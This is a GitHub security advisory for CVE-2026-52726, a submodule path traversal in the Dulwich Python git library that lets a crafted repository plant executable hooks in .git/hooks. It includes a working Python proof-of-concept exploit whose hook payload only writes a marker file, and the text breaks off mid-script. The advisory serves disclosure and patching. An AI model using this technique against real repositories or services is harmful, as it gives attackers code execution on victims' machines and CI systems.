GitHub Advisoryadvisory · PyPI

GHSA-gfhv-vqv2-4544 Dulwich's submodule path traversal in porcelain.submodule_update / porcelain.clone(recurse_submodules=True) yields RCE via attacker-dropped .git/hooks payload

HIGH Published 2026-07-02 Modified 2026-07-02 Official page ↗
Aliases
CVE-2026-52726
Ecosystem
PyPI
Packages
dulwich
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-22
Reviewed
2026-07-02

Affected packages

• PyPI dulwich: >= 0.23.2, < 1.2.5 → fixed in 1.2.5

Description

Summary `dulwich.porcelain.submodule_update`, and by extension `porcelain.clone(..., recurse_submodules=True)`, materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious `.gitmodules` plus a matching tree gitlink whose `path` is `.git/hooks` (or any other directory inside the parent repository's `.git` directory) causes the attacker's submodule tree contents to be written directly into the victim's `.git/hooks/` directory, preserving executable mode bits. The dropped executables are then run by any subsequent `git` or `dulwich` command that invokes the matching hook, resulting in arbitrary code execution. This is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich's separately implemented submodule porcelain. Affected • Package: `dulwich` (PyPI) • Affected versions: `>=0.23.2, /.git/hooks`). 3. `build_index_from_tree` is called without `validate_path_element`, so it defaults to `validate_path_element_default`, which only rejects literal `.git`, `.`, and `..`. It does not refuse a `root_path` that is itself inside the parent's `.git` directory, and it honors the attacker tree's file modes including executable bits (`0o100755`). Reachability A direct production call path from a user invocation: `porcelain.clone(source, target, recurse_submodules=True)` at `dulwich/porcelain/__init__.py:1548-1551` calls `submodule_update(repo, init=True, recursive=True)` once the parent clone completes, reaching the unsanitized loop at `submodule.py#L154-L234`. The CLI command `dulwich clone --recurse-submodules ` reaches the same sink via `dulwich/cli.py:2131`. Any service that exposes `porcelain.clone(..., recurse_submodules=True)` on attacker-supplied URLs is exposed: CI runners, repository import tools, package resolvers that use dulwich as a pure-Python git, and language-server "fetch dependency from git" features. Proof of concept End-to-end against pip-installed `dulwich==1.2.4`, demonstrating both the path-traversal primitive and the resulting code execution when the victim subsequently runs `git`. The payload writes a marker file rather than performing any destructive action. ```python import os, tempfile, subprocess import dulwich.repo as r import dulwich.porcelain as p from dulwich.objects import Blob, Commit, Tree WORKDIR = tempfile.mkdtemp(prefix="dulwich-poc-") ATTACKER = os.path.join(WORKDIR, "att.git") VICTIM_PARENT = os.path.join(WORKDIR, "vic_parent.git") VICTIM_WT = os.path.join(WORKDIR, "vic_wt") MARKER = os.path.join(WORKDIR, "marker") Attacker submodule contains a single file named "post-checkout" with mode 0755 and a benign shell payload that writes a marker file. attacker = r.Repo.init_bare(ATTACKER, mkdir=True) payload = b"#!/bin/sh\necho executed > " + MARKER.encode() + b"\n" pb = Blob.from_string(payload) attacker.object_store.add_object(pb) at = Tree() at.add(b"post-checkout", 0o100755, pb.id) attacker.object_store.add_object(at) ac = Commit() ac.tree = at.id ac.author = ac.committer = b"a " ac.author_time = ac.commit_time = 0 ac.author_timezone = ac.commit_timezone = 0 ac.message = b"x" attacker.object_store.add_object(ac) attacker.refs[b"refs/heads/master"] = ac.id attacker.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master") Victim parent has a .gitmodules and a tree gitlink, both pointing at path ".git/hooks". The gitlink targets the attacker submodule commit. victim = r.Repo.init_bare(VICTIM_PARENT, mkdir=True) gitmod = ( b'[submodule "evil"]\n' b'\tpath = .git/hooks\n' b'\turl = ' + ATTACKER.encode() + b'\n' ) gmb = Blob.from_string(gitmod) victim.object_store.add_object(gmb) vt = Tree() vt.add(b".gitmodules", 0o100644, gmb.id) vt.add(b".git/hooks", 0o160000, ac.id) victim.object_store.add_object(vt) vc = Commit() vc.tree = vt.id vc.author = vc.committer = b"a " vc.author_time = vc.commit_time = 0 vc.author_timezone = vc.commit_timezone = 0 vc.message = b"v" victim.object_store.add_object(vc) victim.refs[b"refs/heads/master"] = vc.id victim.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master") Single victim call: clone with recurse_submodules=True p.clone(VICTIM_PARENT, VICTIM_WT, recurse_submodules=True) hook = os.path.join(VICTIM_WT, ".git", "hooks", "post-checkout") assert os.path.exists(hook), "hook was not written" assert os.stat(hook).st_mode & 0o111, "hook is not executable" git running in the victim worktree then executes the dropped hook subprocess.run(["git", "-C", VICTIM_WT, "checkout", "master"], check=True, captu…

Related

Alias · CVE (1)

  • CVE-2026-52726 Dulwich is a pure-Python implementation of the Git file formats and protocols. vulnerability

Weakness · CWE (1)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness

References